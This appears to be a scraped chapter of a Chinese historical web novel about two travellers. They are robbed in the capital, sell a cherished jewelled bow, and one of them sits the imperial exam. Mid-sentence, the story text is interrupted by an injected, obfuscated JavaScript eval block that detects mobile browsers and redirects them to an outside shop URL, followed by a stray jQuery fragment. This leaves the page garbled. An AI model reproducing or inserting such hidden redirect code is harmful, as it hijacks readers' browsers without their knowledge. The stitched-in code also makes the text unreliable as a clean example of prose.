坏了!是刚刚岸边那人!
姜恒平时为了取用方便,将所有银钱都放到了包裹里,别的地方是分文没有。
“明珠,你带钱了吗?”姜恒转头望向段明珠。
“我没......”
段明珠出门出得匆忙,哪还记得带钱?她只带了她十岁时哥哥送她的那一把弓——她习惯了去哪儿都带着它......段明珠伸手到腰间,摸了摸那把小弓。
二人被掌柜的赶到了门口。
前脚刚踏入京城,后脚便被偷去了所有银子和铜钱......接下来该怎么办?
姜恒感到一阵头疼。京城人才济济,又不似淮州熟人多,没人会请他上门讲学。再说了,距会试已不足一月,他不再有那么多时间了。
“姜恒......”段明珠拉了拉他的衣角。
姜恒正头疼着呢,没去理会她。
“我有一把哥哥送的弓,弓背上镶了好多宝石,大概能卖一笔钱......”
姜恒望向她,只见她从腰间将那把小弓解下,弓背上的宝石散发出柔和而贵气的光泽。
可是姜恒知道,这是段明珠十分喜欢的小弓。她自两年前起,便一直都带在身上。直到如今,她已娴熟地掌握了弓箭用法,准头也愈发地好了。
“你舍得啊......”
“我长大了,该换一把大点的弓了!今日便将这把弓卖了,来日有了钱,再去买一把更大的弓!”段明珠坚定道。
桥头,周围都是叫卖的小摊,姜恒与段明珠蹲坐在两个小摊中央。段明珠手上握着那把弓,弓上插了个草标。她一遍又一遍地抚摸着它,就像是与它作着最后的告别。
不久,一个穿着讲究的中年男子走了过来,看样子应是个有钱的。
“哟!珍珠呐!二位小兄,这弓怎么卖?”那男子仅是瞥了一眼小弓,便开口询价。
“大人,这弓可不仅仅精在镶石头。它工艺精良,用了极轻的材质。弓弦顺滑有力,用得好,亦可百步穿杨!”
那男子不愿听她多讲,抬手一止,又问:“多少钱?”
“十两银子。”段明珠定定道。
只见那男子眉毛一挑,轻蔑道:“小兄弟,这价可不能乱报呐!就这几个破石头,敢要十两?”
“我不是来卖石头的,是卖弓的。此弓可让十岁孩童练习使用,十两已是低价了。”段明珠道。
“一两,我要了!狗儿,拿钱,带走!”中年男子对身旁的随从命令道。
“少了不卖!”段明珠恼道。她攥紧小弓,拉着姜恒就要走。
“我是诚心要,给你一两已是够意思了。你不卖,我今日还非买不可!”
“你!”段明珠瞪圆了眼,举起拳头在空中挥了几下。
“哟!就你这小胳膊小腿,细声细气的......”中年男子指腹摩挲着下巴,将段明珠上上下下打量了一遍又一遍,随后又道:“打得动吗?”
段明珠又瞪了他一眼,想着不便多生是非,便与姜恒道:“我们走,不同他理论!”
“慢着——”身后男子拖长尾音道,“钱拿走,货留下!”
说罢,他便欲让身边随从上手去硬抢。
这时,又一位衣着蓝袍、腰间系玉的年轻公子走来,道:“什么弓?叫我也瞧瞧。”
段明珠抬眼,见来者面善,便又将弓拿起,介绍了起来:“这弓......”
半晌,待段明珠翻来覆去地将弓介绍完,那年轻公子便将弓接过。
“弓精料细,镶饰考究。是把好弓!”那公子赞道,“多少两,我要了。”
“十两白银。”段明珠伸出双手比划了个“十”。
可那公子却忽然摇头,嘴里喃喃道:“贵了......”
中年男子这时突然来了劲,附和道:“对呀对呀!我就说这破弓,不值十两!”
谁知,那年轻公子却又伸手比划了个数,道:“八两!”
“最低九两!”段明珠道。
“八两半,再多我走了。”那公子语气平平道。
段明珠蹙着眉想了一阵,终是一咬牙:“八两半,成交!”
她从那公子随从手里接过钱,还依依不舍地看了那弓两眼,便见那位公子将弓挂到腰间,扭头走了。
“慢着,你是何人?”中年男子叫住他,问道。他觉得这年轻公子有些眼熟,像是在哪儿见过。
“一个识货的人罢了,不必互通身份。”那公子头也没回,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17873149|212332||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
便径直离去。
段明珠目送了那人许久,直到他的身影带着那把足足陪了她五年的小弓消失在人群之中,再也找不到了。她摸了摸腰间挂弓的地方,心里空落落的。
有了卖弓赚的八两半银子,二人交了房费,日子也不会太拮据了。不过,为了节省开支,姜恒最终选择与段明珠同开一间房。二人还是同在水驿一般,床的中间放了个枕头,隔开界限。不过是房费比起开两间,涨到了五十文一晚。
二人再也不敢把所有银钱都放到包裹里。他们往书箱里放了大头,又各自往身上放了一些。
距离会试越来越近,姜恒日日温习功课,越来越用功。客栈虽是一日两餐,但姜恒与段明珠二人分着吃,也总是吃不饱。段明珠便总去菜市上买了菜,借用客栈的灶台给姜恒再煮饭菜吃。
她平常在家,母亲总觉得她还小,一次也没让她近过厨房。可就短短几日时间,她已能学着其他厨子的样子,将饭菜做得有模有样。掌柜的见她聪明,便偶尔让她帮忙给别的厢房也做两道菜,没有收她柴火钱。
转眼便到了会试那日。
三更天,姜恒便起了身。他吃了两口东西,便准备赴考场。
段明珠晚上没有睡。她用一夜的时间,为姜恒收拾好了家状、公据,和考试用的砚台、墨锭、几支新笔与一摞草纸。她还打包了几份干粮和几根蜡烛,与被褥一起,都放到了预先准备好的考篮当中。
她与姜恒一起来到贡院门口。待监考官叫到姜恒的名字,她便与姜恒最后说了几句鼓励祝福的话,看着他提着考篮,迈进了贡院的大门。
整整三日,她偶尔跑到贡院外转一圈,见无动静,便又回了客栈。
第三日下午,段明珠很早便到贡院外头候着。她挤在熙熙攘攘的人群中,终于看到那个熟悉又疲惫的身影,从贡院大门走出来。
“姜恒!”她招呼道。凭借自己小小的身板,她快速挤到了那身影旁边。
他比进去时瘦了一圈,眼下一片乌青,走路也轻飘飘地。考篮里的东西乱七八糟,歪歪地挎在他的臂弯里。
姜恒一见她,便往她的身上靠去。她拿过考篮,伸手扶住他的胳膊,将这个高她半个头的男子撑起来,道:“走!我们回客栈。”